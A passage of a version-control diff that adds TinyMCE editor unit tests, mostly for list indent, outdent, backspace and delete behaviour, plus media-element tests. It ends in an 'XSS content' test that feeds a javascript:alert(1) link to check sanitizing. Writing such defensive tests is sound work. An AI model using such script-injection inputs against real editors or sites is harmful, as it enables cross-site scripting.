+					'<li>b</li>' +
+					'<li>c</li>' +
+					'<li>d</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li:nth-child(2)', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+			'<li>c' +
+				'<ol>' +
+					'<li>d</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Outdent inside LI in end of OL in LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li:last', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+// Nested lists in OL elements
+
+test('Outdent inside LI in beginning of OL in OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>b</li>' +
+				'<li>c</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ol ol li', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<ol>' +
+				'<li>c</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Outdent inside LI in middle of OL in OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>b</li>' +
+				'<li>c</li>' +
+				'<li>d</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ol ol li:nth-child(2)', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>b</li>' +
+			'</ol>' +
+			'<li>c</li>' +
+			'<ol>' +
+				'<li>d</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Outdent inside first/last LI in inner OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>1' +
+			'<ol>' +
+				'<li>2</li>' +
+				'<li>3</li>' +
+			'</ol>' +
+			'</li>' +
+			'<li>4</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ol ol li:nth-child(1)', 0, 'ol ol li:nth-child(2)', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>1</li>' +
+			'<li>2</li>' +
+			'<li>3</li>' +
+			'<li>4</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getRng(true).startContainer.nodeValue, '2');
+	equal(editor.selection.getRng(true).endContainer.nodeValue, '3');
+});
+
+test('Outdent inside first LI in inner OL where OL is single child of parent LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>' +
+				'<ol>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ol ol li:first', 0);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b' +
+				'<ol>' +
+					'<li>c</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Outdent inside LI in end of OL in OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>b</li>' +
+				'<li>c</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ol ol li:last', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>b</li>' +
+			'</ol>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Outdent inside only child LI in OL in OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('ol ol li', 0);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Outdent multiple LI in OL and nested OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0, 'li li', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<p>a</p>' +
+		'<ol>' +
+			'<li>b</li>' +
+		'</ol>'
+	);
+});
+
+// Indent
+
+test('Indent single LI in OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Indent middle LI in OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 0);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Indent last LI in OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:last', 0);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Indent last LI to same level as middle LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+			'<li>c</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:last', 1);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Indent first LI and nested LI OL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0, 'li li', 0);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Indent second LI to same level as nested LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b' +
+				'<ul>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 0);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Indent second LI to same level as nested LI 2', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+				'</ul>' +
+			'</li>' +
+			'<li>cd' +
+				'<ul>' +
+					'<li>e</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 1);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>cd</li>' +
+					'<li>e</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Indent second and third LI', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 0, 'li:last', 0);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+});
+
+// Backspace
+
+test('Backspace at beginning of single LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<p>a</p>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Backspace at beginning of first LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<p>a</p>' +
+		'<ul>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Backspace at beginning of middle LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>ab</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Backspace at beginning of start LI in UL inside UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>ab' +
+				'<ul>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Backspace at beginning of middle LI in UL inside UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+					'<li>d</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li:nth-child(2)', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>bc</li>' +
+					'<li>d</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Backspace at beginning of single LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<p>a</p>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Backspace at beginning of first LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<p>a</p>' +
+		'<ul>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Backspace at beginning of middle LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>ab</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Backspace at beginning of start LI in UL inside UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>ab' +
+				'<ul>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Backspace at beginning of middle LI in UL inside UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+					'<li>d</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li:nth-child(2)', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>bc</li>' +
+					'<li>d</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Backspace at beginning of LI with empty LI above in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li></li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(3)', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().innerHTML, 'b');
+});
+
+test('Backspace at beginning of LI with BR padded empty LI above in UL', function() {
+	editor.getBody().innerHTML = (
+		'<ul>' +
+			'<li>a</li>' +
+			'<li><br></li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(3)', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().innerHTML, 'b');
+});
+
+test('Backspace at beginning of LI with empty LI with STRING and BR above in UL', function() {
+	editor.getBody().innerHTML = (
+		'<ul>' +
+			'<li>a</li>' +
+			'<li><strong><br></strong></li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(3)', 0);
+	editor.plugins.lists.backspaceDelete();
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().innerHTML, 'b');
+});
+
+// Delete
+
+test('Delete at end of single LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Delete at end of first LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>ab</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Delete at end of middle LI in UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+			'<li>c</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li:nth-child(2)', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>bc</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Delete at end of start LI in UL inside UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>bc</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Delete at end of middle LI in UL inside UL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>c</li>' +
+					'<li>d</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li li:nth-child(2)', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a' +
+				'<ul>' +
+					'<li>b</li>' +
+					'<li>cd</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Delete at end of LI before empty LI', function() {
+	editor.getBody().innerHTML = (
+		'<ul>' +
+			'<li>a</li>' +
+			'<li></li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().innerHTML, 'a');
+});
+
+test('Delete at end of LI before BR padded empty LI', function() {
+	editor.getBody().innerHTML = (
+		'<ul>' +
+			'<li>a</li>' +
+			'<li><br></li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().innerHTML, 'a');
+});
+
+test('Delete at end of LI before empty LI with STRONG', function() {
+	editor.getBody().innerHTML = (
+		'<ul>' +
+			'<li>a</li>' +
+			'<li><strong><br></strong></li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	editor.focus();
+	Utils.setSelection('li', 1);
+	editor.plugins.lists.backspaceDelete(true);
+
+	equal(editor.getContent(),
+		'<ul>' +
+			'<li>a</li>' +
+			'<li>b</li>' +
+		'</ul>'
+	);
+
+	equal(editor.selection.getNode().innerHTML, 'a');
+});
+
+test('Remove UL in inline body element contained in LI', function() {
+	inlineEditor.setContent('<ul><li>a</li></ul>');
+	inlineEditor.selection.setCursorLocation();
+	inlineEditor.execCommand('InsertUnorderedList');
+	equal(inlineEditor.getContent(), '<p>a</p>');
+});
+
+test('Backspace in LI in UL in inline body element contained within LI', function() {
+	inlineEditor.setContent('<ul><li>a</li></ul>');
+	inlineEditor.focus();
+	inlineEditor.selection.select(inlineEditor.getBody(), true);
+	inlineEditor.selection.collapse(true);
+	inlineEditor.plugins.lists.backspaceDelete();
+	equal(inlineEditor.getContent(), '<p>a</p>');
+});
+
+test('Apply DL list to multiple Ps', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p>a</p>' +
+		'<p>b</p>' +
+		'<p>c</p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0, 'p:last', 0);
+	execCommand('InsertDefinitionList');
+
+	equal(editor.getContent(),
+		'<dl>' +
+			'<dt>a</dt>' +
+			'<dt>b</dt>' +
+			'<dt>c</dt>' +
+		'</dl>'
+	);
+	equal(editor.selection.getStart().nodeName, 'DT');
+});
+
+test('Apply OL list to single P', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<p>a</p>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 0);
+	execCommand('InsertDefinitionList');
+
+	equal(editor.getContent(), '<dl><dt>a</dt></dl>');
+	equal(editor.selection.getNode().nodeName, 'DT');
+});
+
+test('Apply DL to P and merge with adjacent lists', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<dl>' +
+			'<dt>a</dt>' +
+		'</dl>' +
+		'<p>b</p>' +
+		'<dl>' +
+			'<dt>c</dt>' +
+		'</dl>'
+	);
+
+	editor.focus();
+	Utils.setSelection('p', 1);
+	execCommand('InsertDefinitionList');
+
+	equal(editor.getContent(),
+		'<dl>' +
+			'<dt>a</dt>' +
+			'<dt>b</dt>' +
+			'<dt>c</dt>' +
+		'</dl>'
+	);
+	equal(editor.selection.getStart().nodeName, 'DT');
+});
+
+test('Indent single DT in DL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<dl>' +
+			'<dt>a</dt>' +
+		'</dl>'
+	);
+
+	editor.focus();
+	Utils.setSelection('dt', 0);
+	execCommand('Indent');
+
+	equal(editor.getContent(),
+		'<dl>' +
+			'<dd>a</dd>' +
+		'</dl>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'DD');
+});
+
+test('Outdent single DD in DL', function() {
+	editor.getBody().innerHTML = trimBrs(
+		'<dl>' +
+			'<dd>a</dd>' +
+		'</dl>'
+	);
+
+	editor.focus();
+	Utils.setSelection('dd', 1);
+	execCommand('Outdent');
+
+	equal(editor.getContent(),
+		'<dl>' +
+			'<dt>a</dt>' +
+		'</dl>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'DT');
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/media.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/media.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/media.js	(revision 33402)
@@ -0,0 +1,164 @@
+module("tinymce.plugins.Media", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			add_unload_trigger: false,
+			skin: false,
+			plugins: wpPlugins,
+			document_base_url: '/tinymce/tinymce/trunk/tests/',
+			media_scripts: [
+				{filter: 'http://media1.tinymce.com'},
+				{filter: 'http://media2.tinymce.com', width: 100, height: 200}
+			],
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	},
+	
+	teardown: function() {
+		delete editor.settings.media_filter_html;
+	}
+});
+
+test("Object retain as is", function() {
+	editor.setContent(
+		'<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355">' +
+			'<param name="movie" value="someurl">' +
+			'<param name="wmode" value="transparent">' +
+			'<embed src="someurl" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355" />' +
+		'</object>'
+	);
+
+	equal(editor.getContent(),
+		'<p><object width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000">' +
+			'<param name="movie" value="someurl" />' +
+			'<param name="wmode" value="transparent" />' +
+			'<embed src="someurl" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355" />' +
+		'</object></p>'
+	);
+});
+
+test("Embed retain as is", function() {
+	editor.setContent(
+		'<embed src="320x240.ogg" width="100" height="200">text<a href="#">link</a></embed>'
+	);
+
+	equal(
+		editor.getContent(),
+		'<p><embed src="320x240.ogg" width="100" height="200"></embed>text<a href="#">link</a></p>'
+	);
+});
+
+test("Video retain as is", function() {
+	editor.setContent(
+		'<video src="320x240.ogg" autoplay loop controls>text<a href="#">link</a></video>'
+	);
+
+	equal(
+		editor.getContent(),
+		'<p><video src="320x240.ogg" autoplay="autoplay" loop="loop" controls="controls" width="300" height="150">text<a href="#">link</a></video></p>'
+	);
+});
+
+test("Iframe retain as is", function() {
+	editor.setContent(
+		'<iframe src="320x240.ogg" allowfullscreen>text<a href="#">link</a></iframe>'
+	);
+
+	equal(editor.getContent(),
+		'<p><iframe src="320x240.ogg" width="300" height="150" allowfullscreen="allowfullscreen">text<a href="#">link</a></iframe></p>'
+	);
+});
+
+test("Audio retain as is", function() {
+	editor.setContent(
+		'<audio src="sound.mp3">' +
+			'<track kind="captions" src="foo.en.vtt" srclang="en" label="English">' +
+			'<track kind="captions" src="foo.sv.vtt" srclang="sv" label="Svenska">' +
+			'text<a href="#">link</a>' +
+		'</audio>'
+	);
+
+	equal(editor.getContent(),
+		'<p>' +
+			'<audio src="sound.mp3">' +
+				'<track kind="captions" src="foo.en.vtt" srclang="en" label="English" />' +
+				'<track kind="captions" src="foo.sv.vtt" srclang="sv" label="Svenska" />' +
+				'text<a href="#">link</a>' +
+			'</audio>' +
+		'</p>'
+	);
+});
+
+test("Resize complex object", function() {
+	editor.setContent(
+		'<video width="300" height="150" controls="controls">' +
+			'<source src="s" />' +
+			'<object type="application/x-shockwave-flash" data="../../js/tinymce/plugins/media/moxieplayer.swf" width="300" height="150">' +
+				'<param name="allowfullscreen" value="true" />' +
+				'<param name="allowscriptaccess" value="always" />' +
+				'<param name="flashvars" value="video_src=s" />' +
+				'<!--[if IE]><param name="movie" value="../../js/tinymce/plugins/media/moxieplayer.swf" /><![endif]-->' +
+			'</object>' +
+		'</video>'
+	);
+
+	var placeholderElm = editor.getBody().firstChild.firstChild;
+	placeholderElm.width = 100;
+	placeholderElm.height = 200;
+	editor.fire('objectResized', {target: placeholderElm, width: placeholderElm.width, height: placeholderElm.height});
+	editor.settings.media_filter_html = false;
+
+	equal(editor.getContent(),
+		'<p>' +
+			'<video controls="controls" width="100" height="200">' +
+				'<source src="s" />' +
+				'<object type="application/x-shockwave-flash" data="../../js/tinymce/plugins/media/moxieplayer.swf" width="100" height="200">' +
+					'<param name="allowfullscreen" value="true" />' +
+					'<param name="allowscriptaccess" value="always" />' +
+					'<param name="flashvars" value="video_src=s" />' +
+					'<!--[if IE]>' +
+						'<param name="movie" value="../../js/tinymce/plugins/media/moxieplayer.swf" />' +
+					'<![endif]-->' +
+				'</object>' +
+			'</video>' +
+		'</p>'
+	);
+});
+
+test("Media script elements", function() {
+	editor.setContent(
+		'<script src="http://media1.tinymce.com/123456"></sc'+'ript>' +
+		'<script src="http://media2.tinymce.com/123456"></sc'+'ript>'
+	);
+
+	equal(editor.getBody().getElementsByTagName('img')[0].className, 'mce-object mce-object-script');
+	equal(editor.getBody().getElementsByTagName('img')[0].width, 300);
+	equal(editor.getBody().getElementsByTagName('img')[0].height, 150);
+	equal(editor.getBody().getElementsByTagName('img')[1].className, 'mce-object mce-object-script');
+	equal(editor.getBody().getElementsByTagName('img')[1].width, 100);
+	equal(editor.getBody().getElementsByTagName('img')[1].height, 200);
+
+	equal(editor.getContent(),
+		'<p>\n' +
+			'<script src="http://media1.tinymce.com/123456" type="text/javascript"></sc'+'ript>\n' +
+			'<script src="http://media2.tinymce.com/123456" type="text/javascript"></sc'+'ript>\n' +
+		'</p>'
+	);
+});
+
+test("XSS content", function() {
+	function testXss(input, expectedOutput) {
+		editor.setContent(input);
+		equal(editor.getContent(), expectedOutput);
+	}
+
+	testXss('<video><a href="javascript:alert(1);">a</a></video>', '<p><video width="300" height="150"><a>a</a></video></p>');
